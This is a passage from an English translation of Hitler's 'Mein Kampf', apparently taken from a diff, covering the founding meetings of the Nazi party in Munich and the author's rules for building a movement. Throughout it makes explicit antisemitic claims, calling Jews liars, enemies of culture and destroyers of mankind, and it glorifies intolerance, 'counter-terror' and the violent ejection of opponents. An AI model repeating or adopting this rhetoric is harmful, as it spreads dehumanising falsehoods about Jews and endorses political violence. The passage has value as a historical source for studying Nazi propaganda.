+If an inspiring personality who has the gift of leadership cannot be +found for the organization and direction of a local group it is better +for the movement to refrain from establishing such a group than to run +the risk of failure after the group has been founded. + +The will to be a leader is not a sufficient qualification for +leadership. For the leader must have the other necessary qualities. +Among these qualities will-power and energy must be considered as more +serviceable than the intellect of a genius. The most valuable +association of qualities is to be found in a combination of talent, +determination and perseverance. + +(12) The future of a movement is determined by the devotion, and even +intolerance, with which its members fight for their cause. They must +feel convinced that their cause alone is just, and they must carry it +through to success, as against other similar organizations in the same +field. + +It is quite erroneous to believe that the strength of a movement must +increase if it be combined with other movements of a similar kind. Any +expansion resulting from such a combination will of course mean an +increase in external development, which superficial observers might +consider as also an increase of power; but in reality the movement thus +admits outside elements which will subsequently weaken its +constitutional vigour. + +Though it may be said that one movement is identical in character with +another, in reality no such identity exists. If it did exist then +practically there would not be two movements but only one. And whatever +the difference may be, even if it consist only of the measure in which +the capabilities of the one set of leaders differ from those of the +other, there it is. It is against the natural law of all development to +couple dissimilar organisms, or the law is that the stronger must +overcome the weaker and, through the struggle necessary for such a +conquest, increase the constitutional vigour and effective strength of +the victor. + +By amalgamating political organizations that are approximately alike, +certain immediate advantages may be gained, but advantages thus gained +are bound in the long run to become the cause of internal weaknesses +which will make their appearance later on. + +A movement can become great only if the unhampered development of its +internal strength be safeguarded and steadfastly augmented, until +victory over all its competitors be secured. + +One may safely say that the strength of a movement and its right to +existence can be developed only as long as it remains true to the +principle that struggle is a necessary condition of its progress and +that its maximum strength will be reached only as soon as complete +victory has been won. + +Therefore a movement must not strive to obtain successes that will be +only immediate and transitory, but it must show a spirit of +uncompromising perseverance in carrying through a long struggle which +will secure for it a long period of inner growth. + +All those movements which owe their expansion to a so-called combination +of similar organisms, which means that their external strength is due to +a policy of compromise, are like plants whose growth is forced in a +hothouse. They shoot up externally but they lack that inner strength +which enables the natural plant to grow into a tree that will withstand +the storms of centuries. + +The greatness of every powerful organization which embodies a creative +idea lies in the spirit of religious devotion and intolerance with which +it stands out against all others, because it has an ardent faith in its +own right. If an idea is right in itself and, furnished with the +fighting weapons I have mentioned, wages war on this earth, then it is +invincible and persecution will only add to its internal strength. + +The greatness of Christianity did not arise from attempts to make +compromises with those philosophical opinions of the ancient world which +had some resemblance to its own doctrine, but in the unrelenting and +fanatical proclamation and defence of its own teaching. + +The apparent advance that a movement makes by associating itself with +other movements will be easily reached and surpassed by the steady +increase of strength which a doctrine and its organization acquires if +it remains independent and fights its own cause alone. + +(13) The movement ought to educate its adherents to the principle that +struggle must not be considered a necessary evil but as something to be +desired in itself. Therefore they must not be afraid of the hostility +which their adversaries manifest towards them but they must take it as a +necessary condition on which their whole right to existence is based. +They must not try to avoid being hated by those who are the enemies of +our people and our philosophy of life, but must welcome such hatred. +Lies and calumnies are part of the method which the enemy employs to +express his chagrin. + +The man who is not opposed and vilified and slandered in the Jewish +Press is not a staunch German and not a true National Socialist. The +best rule whereby the sincerity of his convictions, his character and +strength of will, can be measured is the hostility which his name +arouses among the mortal enemies of our people. + +The followers of the movement, and indeed the whole nation, must be +reminded again and again of the fact that, through the medium of his +newspapers, the Jew is always spreading falsehood and that if he tells +the truth on some occasions it is only for the purpose of masking some +greater deceit, which turns the apparent truth into a deliberate +falsehood. The Jew is the Great Master of Lies. Falsehood and duplicity +are the weapons with which he fights. + +Every calumny and falsehood published by the Jews are tokens of honour +which can be worn by our comrades. He whom they decry most is nearest to +our hearts and he whom they mortally hate is our best friend. + +If a comrade of ours opens a Jewish newspaper in the morning and does +not find himself vilified there, then he has spent yesterday to no +account. For if he had achieved something he would be persecuted, +slandered, derided and abused. Those who effectively combat this mortal +enemy of our people, who is at the same time the enemy of all Aryan +peoples and all culture, can only expect to arouse opposition on the +part of this race and become the object of its slanderous attacks. + +When these truths become part of the flesh and blood, as it were, of our +members, then the movement will be impregnable and invincible. + +(14) The movement must use all possible means to cultivate respect for +the individual personality. It must never forget that all human values +are based on personal values, and that every idea and achievement is the +fruit of the creative power of one man. We must never forget that +admiration for everything that is great is not only a tribute to one +creative personality but that all those who feel such admiration become +thereby united under one covenant. + +Nothing can take the place of the individual, especially if the +individual embodies in himself not the mechanical element but the +element of cultural creativeness. No pupil can take the place of the +master in completing a great picture which he has left unfinished; and +just in the same way no substitute can take the place of the great poet +or thinker, or the great statesman or military general. For the source +of their power is in the realm of artistic creativeness. It can never be +mechanically acquired, because it is an innate product of divine grace. + +The greatest revolutions and the greatest achievements of this world, +its greatest cultural works and the immortal creations of great +statesmen, are inseparably bound up with one name which stands as a +symbol for them in each respective case. The failure to pay tribute to +one of those great spirits signifies a neglect of that enormous source +of power which lies in the remembrance of all great men and women. + +The Jew himself knows this best. He, whose great men have always been +great only in their efforts to destroy mankind and its civilization, +takes good care that they are worshipped as idols. But the Jew tries to +degrade the honour in which nations hold their great men and women. He +stigmatizes this honour as 'the cult of personality'. + +As soon as a nation has so far lost its courage as to submit to this +impudent defamation on the part of the Jews it renounces the most +important source of its own inner strength. This inner force cannot +arise from a policy of pandering to the masses but only from the worship +of men of genius, whose lives have uplifted and ennobled the nation +itself. + +When men's hearts are breaking and their souls are plunged into the +depths of despair, their great forebears turn their eyes towards them +from the dim shadows of the past--those forebears who knew how to +triumph over anxiety and affliction, mental servitude and physical +bondage--and extend their eternal hands in a gesture of encouragement to +despairing souls. Woe to the nation that is ashamed to clasp those +hands. + +During the initial phase of our movement our greatest handicap was the +fact that none of us were known and our names meant nothing, a fact +which then seemed to some of us to make the chances of final success +problematical. Our most difficult task then was to make our members +firmly believe that there was a tremendous future in store for the +movement and to maintain this belief as a living faith; for at that time +only six, seven or eight persons came to hear one of our speakers. + +Consider that only six or seven poor devils who were entirely unknown +came together to found a movement which should succeed in doing what the +great mass-parties had failed to do: namely, to reconstruct the German +REICH, even in greater power and glory than before. We should have been +very pleased if we were attacked or even ridiculed. But the most +depressing fact was that nobody paid any attention to us whatever. This +utter lack of interest in us caused me great mental pain at that time. + +When I entered the circle of those men there was not yet any question of +a party or a movement. I have already described the impression which was +made on me when I first came into contact with that small organization. +Subsequently I had time, and also the occasion, to study the form of +this so-called party which at first had made such a woeful impression. +The picture was indeed quite depressing and discouraging. There was +nothing, absolutely nothing at all. There was only the name of a party. +And the committee consisted of all the party members. Somehow or other +it seemed just the kind of thing we were about to fight against--a +miniature parliament. The voting system was employed. When the great +parliament cried until they were hoarse--at least they shouted over +problems of importance--here this small circle engaged in interminable +discussions as to the form in which they might answer the letters which +they were delighted to have received. + +Needless to say, the public knew nothing of all this. In Munich nobody +knew of the existence of such a party, not even by name, except our few +members and their small circle of acquaintances. + +Every Wednesday what was called a committee meeting was held in one of +the cafés, and a debate was arranged for one evening each week. In the +beginning all the members of the movement were also members of the +committee, therefore the same persons always turned up at both meetings. +The first step that had to be taken was to extend the narrow limits of +this small circle and get new members, but the principal necessity was +to utilize all the means at our command for the purpose of making the +movement known. + +We chose the following methods: We decided to hold a monthly meeting to +which the public would be invited. Some of the invitations were +typewritten, and some were written by hand. For the first few meetings +we distributed them in the streets and delivered them personally at +certain houses. Each one canvassed among his own acquaintances and tried +to persuade some of them to attend our meetings. The result was +lamentable. + +I still remember once how I personally delivered eighty of these +invitations and how we waited in the evening for the crowds to come. +After waiting in vain for a whole hour the chairman finally had to open +the meeting. Again there were only seven people present, the old +familiar seven. + +We then changed our methods. We had the invitations written with a +typewriter in a Munich stationer's shop and then multigraphed them. + +The result was that a few more people attended our next meeting. The +number increased gradually from eleven to thirteen to seventeen, to +twenty-three and finally to thirty-four. We collected some money within +our own circle, each poor devil giving a small contribution, and in that +way we raised sufficient funds to be able to advertise one of our +meetings in the MUNICH OBSERVER, which was still an independent paper. + +This time we had an astonishing success. We had chosen the Munich +HOFBRÄU HAUS KELLER (which must not be confounded with the Munich +HOFBRÄU HAUS FESTSAAL) as our meeting-place. It was a small hall and +would accommodate scarcely more than 130 people. To me, however, the +hall seemed enormous, and we were all trembling lest this tremendous +edifice would remain partly empty on the night of the meeting. + +At seven o'clock 111 persons were present, and the meeting was opened. A +Munich professor delivered the principal address, and I spoke after him. +That was my first appearance in the role of public orator. The whole +thing seemed a very daring adventure to Herr Harrer, who was then +chairman of the party. He was a very decent fellow; but he had an +A PRIORI conviction that, although I might have quite a number of good +qualities, I certainly did not have a talent for public speaking. Even +later he could not be persuaded to change his opinion. But he was +mistaken. Twenty minutes had been allotted to me for my speech on this +occasion, which might be looked upon as our first public meeting. + +I talked for thirty minutes, and what I always had felt deep down in my +heart, without being able to put it to the test, was here proved to be +true: I could make a good speech. At the end of the thirty minutes it +was quite clear that all the people in the little hall had been +profoundly impressed. The enthusiasm aroused among them found its first +expression in the fact that my appeal to those present brought us +donations which amounted to three hundred marks. That was a great relief +for us. Our finances were at that time so meagre that we could not +afford to have our party prospectus printed, or even leaflets. Now we +possessed at least the nucleus of a fund from which we could pay the +most urgent and necessary expenses. + +But the success of this first larger meeting was also important from +another point of view. I had already begun to introduce some young and +fresh members into the committee. During the long period of my military +service I had come to know a large number of good comrades whom I was +now able to persuade to join our party. All of them were energetic and +disciplined young men who, through their years of military service, had +been imbued with the principle that nothing is impossible and that where +there's a will there's a way. + +The need for this fresh blood supply became evident to me after a few +weeks of collaboration with the new members. Herr Harrer, who was then +chairman of the party, was a journalist by profession, and as such he +was a man of general knowledge. But as leader of the party he had one +very serious handicap: he could not speak to the crowd. Though he did +his work conscientiously, it lacked the necessary driving force, +probably for the reason that he had no oratorical gifts whatsoever. Herr +Drexler, at that time chairman of the Munich local group, was a simple +working man. He, too, was not of any great importance as a speaker. +Moreover, he was not a soldier. He had never done military service, even +during the War. So that this man who was feeble and diffident by nature +had missed the only school which knows how to transform diffident and +weakly natures into real men. Therefore neither of those two men were of +the stuff that would have enabled them to stir up an ardent and +indomitable faith in the ultimate triumph of the movement and to brush +aside, with obstinate force and if necessary with brutal ruthlessness, +all obstacles that stood in the path of the new idea. Such a task could +be carried out only by men who had been trained, body and soul, in those +military virtues which make a man, so to speak, agile as a greyhound, +tough as leather, and hard as Krupp steel. + +At that time I was still a soldier. Physically and mentally I had the +polish of six years of service, so that in the beginning this circle +must have looked on me as quite a stranger. In common with my army +comrades, I had forgotten such phrases as: "That will not go", or "That +is not possible", or "We ought not to take such a risk; it is too +dangerous". + +The whole undertaking was of its very nature dangerous. At that time +there were many parts of Germany where it would have been absolutely +impossible openly to invite people to a national meeting that dared to +make a direct appeal to the masses. Those who attended such meetings +were usually dispersed and driven away with broken heads. It certainly +did not call for any great qualities to be able to do things in that +way. The largest so-called bourgeois mass meetings were accustomed to +dissolve, and those in attendance would run away like rabbits when +frightened by a dog as soon as a dozen communists appeared on the scene. +The Reds used to pay little attention to those bourgeois organizations +where only babblers talked. They recognized the inner triviality of such +associations much better than the members themselves and therefore felt +that they need not be afraid of them. On the contrary, however, they +were all the more determined to use every possible means of annihilating +once and for all any movement that appeared to them to be a danger to +their own interests. The most effective means which they always employed +in such cases were terror and brute force. + +The Marxist leaders, whose business consisted in deceiving and +misleading the public, naturally hated most of all a movement whose +declared aim was to win over those masses which hitherto had been +exclusively at the service of international Marxism in the Jewish and +Stock Exchange parties. The title alone, 'German Labour party', +irritated them. It could easily be foreseen that at the first opportune +moment we should have to face the opposition of the Marxist despots, who +were still intoxicated with their triumph in 1918. + +People in the small circles of our own movement at that time showed a +certain amount of anxiety at the prospect of such a conflict. They +wanted to refrain as much as possible from coming out into the open, +because they feared that they might be attacked and beaten. In their +minds they saw our first public meetings broken up and feared that the +movement might thus be ruined for ever. I found it difficult to defend +my own position, which was that the conflict should not be evaded but +that it should be faced openly and that we should be armed with those +weapons which are the only protection against brute force. Terror cannot +be overcome by the weapons of the mind but only by counter-terror. The +success of our first public meeting strengthened my own position. The +members felt encouraged to arrange for a second meeting, even on a +larger scale. + +Some time in October 1919 the second larger meeting took place in the +EBERLBRÄU KELLER. The theme of our speeches was 'Brest-Litowsk and +Versailles'. There were four speakers. I talked for almost an hour, and +the success was even more striking than at our first meeting. The number +of people who attended had grown to more than 130. An attempt to disturb +the proceedings was immediately frustrated by my comrades. The would-be +disturbers were thrown down the stairs, bearing imprints of violence on +their heads. + +A fortnight later another meeting took place in the same hall. The +number in attendance had now increased to more than 170, which meant +that the room was fairly well filled. I spoke again, and once more the +success obtained was greater than at the previous meeting. + +Then I proposed that a larger hall should be found. After looking around +for some time we discovered one at the other end of the town, in the +'Deutschen REICH' in the Dachauer Strasse. The first meeting at this new +rendezvous had a smaller attendance than the previous meeting. There +were just less than 140 present. The members of the committee began to +be discouraged, and those who had always been sceptical were now +convinced that this falling-off in the attendance was due to the fact +that we were holding the meetings at too short intervals. There were +lively discussions, in which I upheld my own opinion that a city with +700,000 inhabitants ought to be able not only to stand one meeting every +fortnight but ten meetings every week. I held that we should not be +discouraged by one comparative setback, that the tactics we had chosen +were correct, and that sooner or later success would be ours if we only +continued with determined perseverance to push forward on our road. This +whole winter of 1919-20 was one continual struggle to strengthen +confidence in our ability to carry the movement through to success and +to intensify this confidence until it became a burning faith that could +move mountains. + +Our next meeting in the small hall proved the truth of my contention. +Our audience had increased to more than 200. The publicity effect and +the financial success were splendid. I immediately urged that a further +meeting should be held. It took place in less than a fortnight, and +there were more than 270 people present. Two weeks later we invited our +followers and their friends, for the seventh time, to attend our +meeting. The same hall was scarcely large enough for the number that +came. They amounted to more than four hundred. + +During this phase the young movement developed its inner form. Sometimes +we had more or less hefty discussions within our small circle. From +various sides--it was then just the same as it is to-day--objections +were made against the idea of calling the young movement a party. I have +always considered such criticism as a demonstration of practical +incapability and narrow-mindedness on the part of the critic. Those +objections have always been raised by men who could not differentiate +between external appearances and inner strength, but tried to judge the +movement by the high-sounding character of the name attached to it. To +this end they ransacked the vocabulary of our ancestors, with +unfortunate results. + +At that time it was very difficult to make the people understand that +every movement is a party as long as it has not brought its ideals to +final triumph and thus achieved its purpose. It is a party even if it +give itself a thousand difterent names. + +Any person who tries to carry into practice an original idea whose +realization would be for the benefit of his fellow men will first have +to look for disciples who are ready to fight for the ends he has in +view. And if these ends did not go beyond the destruction of the party +system and therewith put a stop to the process of disintegration, then +all those who come forward as protagonists and apostles of such an ideal +are a party in themselves as long as their final goal is reached. It is +only hair-splitting and playing with words when these antiquated +theorists, whose practical success is in reverse ratio to their wisdom, +presume to think they can change the character of a movement which is at +the same time a party, by merely changing its name. + +On the contrary, it is entirely out of harmony with the spirit of the +nation to keep harping on that far-off and forgotten nomenclature which +belongs to the ancient Germanic times and does not awaken any distinct +association in our age. This habit of borrowing words from the dead past +tends to mislead the people into thinking that the external trappings of +its vocabulary are the important feature of a movement. It is really a +mischievous habit; but it is quite prevalent nowadays. + +At that time, and subsequently, I had to warn followers repeatedly +against these wandering scholars who were peddling Germanic folk-lore +and who never accomplished anything positive or practical, except to +cultivate their own superabundant self-conceit. The new movement must +guard itself against an influx of people whose only recommendation is +their own statement that they have been fighting for these very same +ideals during the last thirty or forty years. + +Now if somebody has fought for forty years to carry into effect what he +calls an idea, and if these alleged efforts not only show no positive +results but have not even been able to hinder the success of the +opposing party, then the story of those forty years of futile effort +furnishes sufficient proof for the incompetence of such a protagonist. +People of that kind are specially dangerous because they do not want to +participate in the movement as ordinary members. They talk rather of the +leading positions which would be the only fitting posts for them, in +view of their past work and also so that they might be enabled to carry +on that work further. But woe to a young movement if the conduct of it +should fall into the hands of such people. A business man who has been +in charge of a great firm for forty years and who has completely ruined +it through his mismanagement is not the kind of person one would +recommend for the founding of a new firm. And it is just the same with a +new national movement. Nobody of common sense would appoint to a leading +post in such a movement some Teutonic Methuselah who had been +ineffectively preaching some idea for a period of forty years, until +himself and his idea had entered the stage of senile decay. + +Furthermore, only a very small percentage of such people join a new +movement with the intention of serving its end unselfishly and helping +in the spread of its principles. In most cases they come because they +think that, under the aegis of the new movement, it will be possible for +them to promulgate their old ideas to the misfortune of their new +listeners. Anyhow, nobody ever seems able to describe what exactly these +ideas are. + +It is typical of such persons that they rant about ancient Teutonic +heroes of the dim and distant ages, stone axes, battle spears and +shields, whereas in reality they themselves are the woefullest poltroons +imaginable. For those very same people who brandish Teutonic tin swords +that have been fashioned carefully according to ancient models and wear +padded bear-skins, with the horns of oxen mounted over their bearded +faces, proclaim that all contemporary conflicts must be decided by the +weapons of the mind alone. And thus they skedaddle when the first +communist cudgel appears. Posterity will have little occasion to write a +new epic on these heroic gladiators. + +I have seen too much of that kind of people not to feel a profound +contempt for their miserable play-acting. To the masses of the nation +they are just an object of ridicule; but the Jew finds it to his own +interest to treat these folk-lore comedians with respect and to prefer +them to real men who are fighting to establish a German State. And yet +these comedians are extremely proud of themselves. Notwithstanding their +complete fecklessness, which is an established fact, they pretend to +know everything better than other people; so much so that they make +themselves a veritable nuisance to all sincere and honest patriots, to +whom not only the heroism of the past is worthy of honour but who also +feel bound to leave examples of their own work for the inspiration of +the coming generation. + +Among those people there were some whose conduct can be explained by +their innate stupidity and incompetence; but there are others who have a +definite ulterior purpose in view. Often it is difficult to distinguish +between the two classes. The impression which I often get, especially of +those so-called religious reformers whose creed is grounded on ancient +Germanic customs, is that they are the missionaries and protégés of +those forces which do not wish to see a national revival taking place in +Germany. All their activities tend to turn the attention of the people +away from the necessity of fighting together in a common cause against +the common enemy, namely the Jew. Moreover, that kind of preaching +induces the people to use up their energies, not in fighting for the +common cause, but in absurd and ruinous religious controversies within +their own ranks. There are definite grounds that make it absolutely +necessary for the movement to be dominated by a strong central force +which is embodied in the authoritative leadership. In this way alone is +it possible to counteract the activity of such fatal elements. And that +is just the reason why these folk-lore Ahasueruses are vigorously +hostile to any movement whose members are firmly united under one leader +and one discipline. Those people of whom I have spoken hate such a +movement because it is capable of putting a stop to their mischief. + +It was not without good reason that when we laid down a clearly defined +programme for the new movement we excluded the word VÖLKISCH from it. +The concept underlying the term VÖLKISCH cannot serve as the basis of a +movement, because it is too indefinite and general in its application. +Therefore, if somebody called himself VÖLKISCH such a designation could +not be taken as the hall-mark of some definite, party affiliation. + +Because this concept is so indefinite from the practical viewpoint, it +gives rise to various interpretations and thus people can appeal to it +all the more easily as a sort of personal recommendation. Whenever such +a vague concept, which is subject to so many interpretations, is +admitted into a political movement it tends to break up the disciplined +solidarity of the fighting forces. No such solidarity can be maintained +if each individual member be allowed to define for himself what he +believes and what he is willing to do. + +One feels it a disgrace when one notices the kind of people who float +about nowadays with the VÖLKISCH symbol stuck in their buttonholes, and +at the same time to notice how many people have various ideas of their +own as to the significance of that symbol. A well-known professor in +Bavaria, a famous combatant who fights only with the weapons of the mind +and who boasts of having marched against Berlin--by shouldering the +weapons of the mind, of course--believes that the word VÖLKISCH is +synonymous with 'monarchical'. But this learned authority has hitherto +neglected to explain how our German monarchs of the past can be +identified with what we generally mean by the word VÖLKISCH to-day. I am +afraid he will find himself at a loss if he is asked to give a precise +answer. For it would be very difficult indeed to imagine anything less +VÖLKISCH than most of those German monarchical States were. Had they +been otherwise they would not have disappeared; or if they were +VÖLKISCH, then the fact of their downfall may be taken as evidence that +the VÖLKISCH outlook on the world (WELTANSCHAUUNG) is a false outlook. + +Everybody interprets this concept in his own way. But such multifarious +opinions cannot be adopted as the basis of a militant political +movement. I need not call attention to the absolute lack of worldly +wisdom, and especially the failure to understand the soul of the nation, +which is displayed by these Messianic Precursors of the Twentieth +Century. Sufficient attention has been called to those people by the +ridicule which the left-wing parties have bestowed on them. They allow +them to babble on and sneer at them. + +I do not set much value on the friendship of people who do not succeed +in getting disliked by their enemies. Therefore, we considered the +friendship of such people as not only worthless but even dangerous to +our young movement. That was the principal reason why we first called +ourselves a PARTY. We hoped that by giving ourselves such a name we +might scare away a whole host of VÖLKISCH dreamers. And that was the +reason also why we named our Party, THE NATIONAL SOCIALIST GERMAN LABOUR +PARTY. + +The first term, Party, kept away all those dreamers who live in the past +and all the lovers of bombastic nomenclature, as well as those who went +around beating the big drum for the VÖLKISCH idea. The full name of the +Party kept away all those heroes whose weapon is the sword of the spirit +and all those whining poltroons who take refuge behind their so-called +'intelligence' as if it were a kind of shield. + +It was only to be expected that this latter class would launch a massed +attack against us after our movement had started; but, of course, it was +only a pen-and-ink attack, for the goose-quill is the only weapon which +these VÖLKISCH lancers wield. We had declared one of our principles +thus: "We shall meet violence with violence in our own defence". +Naturally that principle disturbed the equanimity of the knights of the +pen. They reproached us bitterly not only for what they called our crude +worship of the cudgel but also because, according to them, we had no +intellectual forces on our side. These charlatans did not think for a +moment that a Demosthenes could be reduced to silence at a mass-meeting +by fifty idiots who had come there to shout him down and use their fists +against his supporters. The innate cowardice of the pen-and-ink +charlatan prevents him from exposing himself to such a danger, for he +always works in safe retirement and never dares to make a noise or come +forward in public. + +Even to-day I must warn the members of our young movement in the +strongest possible terms to guard against the danger of falling into the +snare of those who call themselves 'silent workers'. These 'silent +workers' are not only a whitelivered lot but are also, and always will +be, ignorant do-nothings. A man who is aware of certain happenings and +knows that a certain danger threatens, and at the same time sees a +certain remedy which can be employed against it, is in duty bound not to +work in silence but to come into the open and publicly fight for the +destruction of the evil and the acceptance of his own remedy. If he does +not do so, then he is neglecting his duty and shows that he is weak in +character and that he fails to act either because of his timidity, or +indolence or incompetence. Most of these 'silent workers' generally +pretend to know God knows what. Not one of them is capable of any real +achievement, but they keep on trying to fool the world with their +antics. Though quite indolent, they try to create the impression that +their 'silent work' keeps them very busy. To put it briefly, they are +sheer swindlers, political jobbers who feel chagrined by the honest work +which others are doing. When you find one of these VÖLKISCH moths +buzzing over the value of his 'silent work' you may be sure that you are +dealing with a fellow who does no productive work at all but steals from +others the fruits of their honest labour. + +In addition to all this one ought to note the arrogance and conceited +impudence with which these obscurantist idlers try to tear to pieces the +work of other people, criticizing it with an air of superiority, and +thus playing into the hands of the mortal enemy of our people. + +Even the simplest follower who has the courage to stand on the table in +some beer-hall where his enemies are gathered, and manfully and openly +defend his position against them, achieves a thousand times more than +these slinking hypocrites. He at least will convert one or two people to +believe in the movement. One can examine his work and test its +effectiveness by its actual results. But those knavish swindlers--who +praise their own 'silent work' and shelter themselves under the cloak of +anonymity, are just worthless drones, in the truest sense of the term, +and are utterly useless for the purpose of our national reconstruction. + +In the beginning of 1920 I put forward the idea of holding our first +mass meeting. On this proposal there were differences of opinion amongst +us. Some leading members of our party thought that the time was not ripe +for such a meeting and that the result might be detrimental. The Press +of the Left had begun to take notice of us and we were lucky enough in +being able gradually to arouse their wrath. We had begun to appear at +other meetings and to ask questions or contradict the speakers, with the +natural result that we were shouted down forthwith. But still we thereby +gained some of our ends. People began to know of our existence and the +better they understood us, the stronger became their aversion and their +enmity. Therefore we might expect that a large contingent of our friends +from the Red Camp would attend our first mass meeting. + +I fully realized that our meeting would probably be broken up. But we +had to face the fight; if not now, then some months later. Since the +first day of our foundation we were resolved to secure the future of the +movement by fighting our way forward in a spirit of blind faith and +ruthless determination. I was well acquainted with the mentality of all +those who belonged to the Red Camp, and I knew quite well that if we +opposed them tooth and nail not only would we make an impression on them +but that we even might win new followers for ourselves. Therefore I felt +that we must decide on a policy of active opposition. + +Herr Harrer was then chairman of our party. He did not see eye to eye +with me as to the opportune time for our first mass meeting. Accordingly +he felt himself obliged to resign from the leadership of the movement, +as an upright and honest man. Herr Anton Drexler took his place. I kept +the work of organizing the propaganda in my own hands and I listened to +no compromise in carrying it out. + +We decided on February 24th 1920 as the date for the first great popular +meeting to be held under the aegis of this movement which was hitherto +unknown. + +I made all the preparatory arrangements personally. They did not take +very long. The whole apparatus of our organization was set in motion for +the purpose of being able to secure a rapid decision as to our policy. +Within twenty-four hours we had to decide on the attitude we should take +in regard to the questions of the day which would be put forward at the +mass meeting. The notices which advertised the meeting had to bring +these points before the public. In this direction we were forced to +depend on the use of posters and leaflets, the contents of which and the +manner in which they were displayed were decided upon in accordance with +the principles which I have already laid down in dealing with propaganda +in general. They were produced in a form which would appeal to the +crowd. They concentrated on a few points which were repeated again and +again. The text was concise and definite, an absolutely dogmatic form of +expression being used. We distributed these posters and leaflets with a +dogged energy and then we patiently waited for the effect they would +produce. + +For our principal colour we chose red, as it has an exciting effect on +the eye and was therefore calculated to arouse the attention of our +opponents and irritate them. Thus they would have to take notice of +us--whether they liked it or not--and would not forget us. + +One result of our tactics was to show up clearly the close political +fraternization that existed also here in Bavaria between the Marxists +and the Centre Party. The political party that held power in Bavaria, +which was the Bavarian People's Party (affiliated with the Centre Party) +did its best to counteract the effect which our placards were having on +the 'Red' masses. Thus they made a definite step to fetter our +activities. If the police could find no other grounds for prohibiting +our placards, then they might claim that we were disturbing the traffic +in the streets. And thus the so-called German National People's Party +calmed the anxieties of their 'Red' allies by completely prohibiting +those placards which proclaimed a message that was bringing back to the +bosom of their own people hundreds of thousands of workers who had been +misled by international agitators and incensed against their own nation. +These placards bear witness to the bitterness of the struggle in which +the young movement was then engaged. Future generations will find in +these placards a documentary proof of our determination and the justice +of our own cause. And these placards will also prove how the so-called +national officials took arbitrary action to strangle a movement that did +not please them, because it was nationalizing the broad masses of the +people and winning them back to their own racial stock. + +These placards will also help to refute the theory that there was then a +national government in Bavaria and they will afford documentary +confirmation of the fact that if Bavaria remained nationally-minded +during the years 1919, 1920, 1921, 1922 and 1923, this was not due to a +national government but it was because the national spirit gradually +gained a deeper hold on the people and the Government was forced to +follow public feeling. The Government authorities themselves did +everything in their power to hamper this process of recovery and make it +impossible. But in this connection two officials must be mentioned as +outstanding exceptions. + +Ernst Pöhner was Chief of Police at the time. He had a loyal counsellor +in Dr. Frick, who was his chief executive official. These were the only +men among the higher officials who had the courage to place the +interests of their country before their own interests in holding on to +their jobs. Of those in responsible positions Ernst Pöhner was the only +one who did not pay court to the mob but felt that his duty was towards +the nation as such and was ready to risk and sacrifice everything, even +his personal livelihood, to help in the restoration of the German +people, whom he dearly loved. For that reason he was a bitter thorn in +the side of the venal group of Government officials. It was not the +interests of the nation or the necessity of a national revival that +inspired or directed their conduct. They simply truckled to the wishes +of the Government, so as to secure their daily bread for themselves, but +they had no thought whatsoever for the national welfare that had been +entrusted to their care. + +Above all, Pöhner was one of those people who, in contradistinction to +the majority of our so-called defenders of the authority of the State, +did not fear to incur the enmity of the traitors to the country and the +nation but rather courted it as a mark of honour and honesty. For such +men the hatred of the Jews and Marxists and the lies and calumnies they +spread, were their only source of happiness in the midst of the national +misery. Pöhner was a man of granite loyalty. He was like one of the +ascetic characters of the classical era and was at the same time that +kind of straightforward German for whom the saying 'Better dead than a +slave' is not an empty phrase but a veritable heart's cry. + +In my opinion he and his collaborator, Dr. Frick, are the only men +holding positions then in Bavaria who have the right to be considered as +having taken active part in the creation of a national Bavaria. + +Before holding our first great mass meeting it was necessary not only to +have our propaganda material ready but also to have the main items of +our programme printed. + +In the second volume of this book I shall give a detailed account of the +guiding principles which we then followed in drawing up our programme. +Here I will only say that the programme was arranged not merely to set +forth the form and content of the young movement but also with an eye to +making it understood among the broad masses. The so-called intellectual +circles made jokes and sneered at it and then tried to criticize it. But +the effect of our programme proved that the ideas which we then held +were right. + +During those years I saw dozens of new movements arise and disappear +without leaving a trace behind. Only one movement has survived. It is +the National Socialist German Labour Party. To-day I am more convinced +than ever before that, though they may combat us and try to paralyse our +movement, and though pettifogging party ministers may forbid us the +right of free speech, they cannot prevent the triumph of our ideas. When +the present system of statal administration and even the names of the +political parties that represent it will be forgotten, the programmatic +basis of the National Socialist movement will supply the groundwork on +which the future State will be built. + +The meetings which we held before January 1920 had enabled us to collect +the financial means that were necessary to have our first pamphlets and +posters and programmes printed. + +I shall bring the first part of this book to a close by referring to our +first great mass meeting, because that meeting marked the occasion on +which our framework as a small party had to be broken up and we started +to become the most powerful factor of this epoch in the influence we +exercised on public opinion. At that time my chief anxiety was that we +might not fill the hall and that we might have to face empty benches. I +myself was firmly convinced that if only the people would come this day +would turn out a great success for the young movement. That was my +feeling as I waited impatiently for the hour to come. + +It had been announced that the meeting would begin at 7.30. A +quarter-of-an-hour before the opening time I walked through the chief +hall of the Hofbräuhaus on the PLATZ in Munich and my heart was nearly +bursting with joy. The great hall--for at that time it seemed very big +to me--was filled to overflowing. Nearly 2,000 people were present. And, +above all, those people had come whom we had always wished to reach. +More than half the audience consisted of persons who seemed to be +communists or independents. Our first great demonstration was destined, +in their view, to come to an abrupt end. + +But things happened otherwise. When the first speaker had finished I got +up to speak. After a few minutes I was met with a hailstorm of +interruptions and violent encounters broke out in the body of the hall. +A handful of my loyal war comrades and some other followers grappled +with the disturbers and restored order in a little while. I was able to +continue my speech. After half an hour the applause began to drown the +interruptions and the hootings. Then interruptions gradually ceased and +applause took their place. When I finally came to explain the +twenty-five points and laid them, point after point, before the masses +gathered there and asked them to pass their own judgment on each point, +one point after another was accepted with increasing enthusiasm. When +the last point was reached I had before me a hall full of people united +by a new conviction, a new faith and a new will. + +Nearly four hours had passed when the hall began to clear. As the masses +streamed towards the exits, crammed shoulder to shoulder, shoving and +pushing, I knew that a movement was now set afoot among the German +people which would never pass into oblivion. + +A fire was enkindled from whose glowing heat the sword would be +fashioned which would restore freedom to the German Siegfried and bring +back life to the German nation. + +Beside the revival which I then foresaw, I also felt that the Goddess of +Vengeance was now getting ready to redress the treason of the 9th of +November, 1918. The hall was emptied. The movement was on the march. + + + + + +VOLUME II: THE NATIONAL SOCIALIST MOVEMENT + + + + +CHAPTER I + + + +WELTANSCHAUUNG AND PARTY + + +On February 24th, 1920, the first great mass meeting under the auspices +of the new movement took place. In the Banquet Hall of the Hofbräuhaus +in Munich the twenty-five theses which constituted the programme of our +new party were expounded to an audience of nearly two thousand people +and each thesis was enthusiastically received. + +Thus we brought to the knowledge of the public those first principles +and lines of action along which the new struggle was to be conducted for +the abolition of a confused mass of obsolete ideas and opinions which +had obscure and often pernicious tendencies. A new force was to make its +appearance among the timid and feckless bourgeoisie. This force was +destined to impede the triumphant advance of the Marxists and bring the +Chariot of Fate to a 